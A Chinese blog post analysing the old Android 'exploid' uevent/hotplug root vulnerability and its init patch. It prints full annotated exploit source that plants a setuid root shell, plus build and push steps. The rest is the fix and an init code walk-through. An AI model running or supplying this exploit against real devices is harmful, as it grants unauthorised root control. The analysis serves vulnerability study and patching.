您的位置：首页 > 移动开发 > Android开发

android提权漏洞CVE-2010-EASY修复

2013-07-17 10:06 579 查看
android提权漏洞CVE-2010-EASY修复

linux系统由udev提供系统设备的管理，比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。

程序执行的顺序用(1)序号标明了。
通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具
通过arm-none-eabi-gcc exploid.c -static -o exploid 编译
adb push exploid /data/local/tmp 目录中执行即可root

提权之后rootshell是一个权限为04711的属于root的可执行程序，普通用户也可以运行该程序，由于S位置位，当普通用户执行该程序时有效用户ID为root，从而可以运行root用户才能执行的程序和操作，从而提权成功。

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>

int main(int argc, char **argv, char **env)
{
char buf[512], path[512];
int ofd;
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
//(1)初始化要发送的数据，通过NET_LINK机制（参见man 手册，可以与内核实现近似于套接字的通信方式）发送
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
int sock;
char *basedir = NULL;

/* I hope there is no LD_ bug in androids rtld :) */
//(11)root后执行rootshell则执行该步，直接创建一个有root权限的shell
if (geteuid() == 0 && getuid() != 0)
rootshell(env);

//(2)获取程序的路径，为/data/local/tmp/exploid
if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
die("[-] readlink");

if (geteuid() == 0) {
//(9)有内核加载热拔插固件时再次执行该应用，此时有效id为为0，有root权限
clear_hotplug();
/* remount /system rw */

//(10)拷贝自己到/system/bin/目录下成为rootshell，并改变sh的文件属性
remount_system("/system");
if (copy(path, "/system/bin/rootshell") != 0)
chmod("/system/bin/sh", 04755);
else
chmod("/system/bin/rootshell", 04711);
for (;;)
sleep(3);
}

printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
//(3)改变工作目录，没有root权限，只可以在少数目录执行
basedir = "/sqlite_stmt_journals";
if (chdir(basedir) < 0) {
basedir = "/data/local/tmp";
if (chdir(basedir) < 0)
basedir = strdup(getcwd(buf, sizeof(buf)));
}
printf("[+] Using basedir=%s, path=%s\n", basedir, path);
printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

memset(&snl, 0, sizeof(snl));
snl.nl_pid = 1;
snl.nl_family = AF_NETLINK;

//(4)构建一个NETLINK的套接字
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");

//(5)创建要热拔插的文件，其中hotplug文件中存储的为/data/local/tmp/exploid
close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
die("[-] write");
close(ofd);

//(6)建立一个data文件，为指向系统的hotplug的符号链接
symlink("/proc/sys/kernel/hotplug", "data");

//(7)构建发送给内核的信息，内容为进行热拔插，固件位置在/data/local/tmp/hotplug
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");

//(8)发送该信息
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);
printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
"[*] settings, plugin USB key etc.\n"
"[*] You succeeded if you find /system/bin/rootshell.\n"
"[*] GUI might hang/restart meanwhile so be patient.\n");
sleep(3);
return 0;
}

void die(const char *msg)
{
perror(msg);
exit(errno);
}

int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;

if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}

for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}

close(fd1);
close(fd2);
sync(); sync();
return r;
}

void clear_hotplug()
{
int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
write(ofd, "", 1);
close(ofd);
}

void rootshell(char **env)
{
char *sh[] = {"/system/bin/sh", 0};

// AID_SHELL
if (getuid() != 2000)
die("[-] Permission denied.");

setuid(0); setgid(0);
execve(*sh, sh, env);
die("[-] execve");
}

int remount_system(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;

if ((f = fopen("/proc/mounts", "r")) == NULL)
return -1;

memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found)
return -1;
if ((dev = strtok(buf, " \t")) == NULL)
return -1;
if (strtok(NULL, " \t") == NULL)
return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
CVE-2010-EASY漏洞是android两大提权漏洞之一，它的修复方法很简单

只需要给system/core/init/devices.c文件打个补丁就可以了，具体内容如下
static int open_uevent_socket(void)

{

+ setsockopt(s, SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));

//在open_uevent_socket对套接字增加一个选项 SO_PASSCRED，这样可以让套接字增加一个认证，让接收者可以知道发送者的uid和gid :-)

}

void handle_device_fd(int fd)

{

+ for(;;) {

+ char msg[UEVENT_MSG_LEN+2];

+ char cred_msg[CMSG_SPACE(sizeof(struct ucred))];

+ struct iovec iov = {msg, sizeof(msg)};

+ struct sockaddr_nl snl;

+ struct msghdr hdr = {&snl, sizeof(snl), &iov, 1, cred_msg, sizeof(cred_msg), 0};

+

+ ssize_t n = recvmsg(fd, &hdr, 0);

+ if (n <= 0) {

+ break;

+ }

- while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) > 0) {

- struct uevent uevent;

+ if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) {

+ /* 如果不是内核的多播信息则抛弃 */

+ continue;

+ }

+

+ struct cmsghdr * cmsg = CMSG_FIRSTHDR(&hdr);

+ if (cmsg == NULL || cmsg->cmsg_type != SCM_CREDENTIALS) {

+ /* 如果发送者的认证没有则抛弃 */

+ continue;

+ }

+

+ struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg);

+ if (cred->uid != 0) {

+ /* 消息不是来自于root用户则抛弃 */

+ continue;

+ }

}

}

结合init源码剖析android root提权漏洞（CVE-2010-EASY）

主要介绍向init进程发送热拔插信息后init进程的处理流程

首先我们来了解一个数据结构，uevent，如下

struct uevent {

const char *action;

const char *path;

const char *subsystem;

const char *firmware;

int major;

int minor;

};

内核收到的信息如下，ACTION=addDEVPATH=/../data/local/tmpSUBSYSTEM=firmwareFIRMWARE=../../../data/local/tmp/hotplug

通过如下函数parse_event进行解析

static void parse_event(const char *msg, struct uevent *uevent)

{

while(*msg) {

if(!strncmp(msg, "ACTION=", 7)) {

msg += 7;

uevent->action = msg;

} else if(!strncmp(msg, "DEVPATH=", 8)) {

msg += 8;

uevent->path = msg;

} else if(!strncmp(msg, "SUBSYSTEM=", 10)) {

msg += 10;

uevent->subsystem = msg;

} else if(!strncmp(msg, "FIRMWARE=", 9)) {

msg += 9;

uevent->firmware = msg;

} else if(!strncmp(msg, "MAJOR=", 6)) {

msg += 6;

uevent->major = atoi(msg);

} else if(!strncmp(msg, "MINOR=", 6)) {

msg += 6;

uevent->minor = atoi(msg);

}

while(*msg++)；

}

}

经过解析之后，uevent的结构为：

action="add"

path="/../data/local/tmp"

subsystem="firmware"

firmware="../../../data/local/tmp/hotplug"

之后来到处理firmware的核心函数

static void process_firmware_event(struct uevent *uevent)

{

l = asprintf(&root, SYSFS_PREFIX"%s/", uevent->path);

//root为/sys/../data/local/tmp/=/data/local/tmp/

l = asprintf(&loading, "%sloading", root);

//loading为/data/local/tmp/loading

l = asprintf(&data, "%sdata", root);

//data为/data/local/tmp/data 其内容为指向/proc/sys/kernel/hotplug的符号链接

l = asprintf(&file, FIRMWARE_DIR"/%s", uevent->firmware);

//file为/etc/firmware/../../../data/local/tmp/hotplug=/data/local/tmp/hotplug

loading_fd = open(loading, O_WRONLY);

data_fd = open(data, O_WRONLY);

fw_fd = open(file, O_RDONLY);

load_firmware(fw_fd, loading_fd, data_fd)；

}

最后来到load_firmware函数,把hotplug中的数据写到/proc/sys/kernel/hotplug中

其内容变为/data/local/tmp/exploid

static int load_firmware(int fw_fd, int loading_fd, int data_fd)

{

while (len_to_copy > 0) {

char buf[PAGE_SIZE];

nr = read(fw_fd, buf, sizeof(buf));

len_to_copy -= nr;

while (nr > 0) {

nw = write(data_fd, buf + nw, nr);

nr -= nw;

}

}

}

终于/proc/sys/kernel/hotplug中写入了我们的恶意程序了，只要再次受到如wifi打开、usb插入等热拔插信息，内核就会以root权限加载我们的程序再一次执行，从而达到提权的目的

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 点击这里给我发消息
标签： 
相关文章推荐
新的分享
章节导航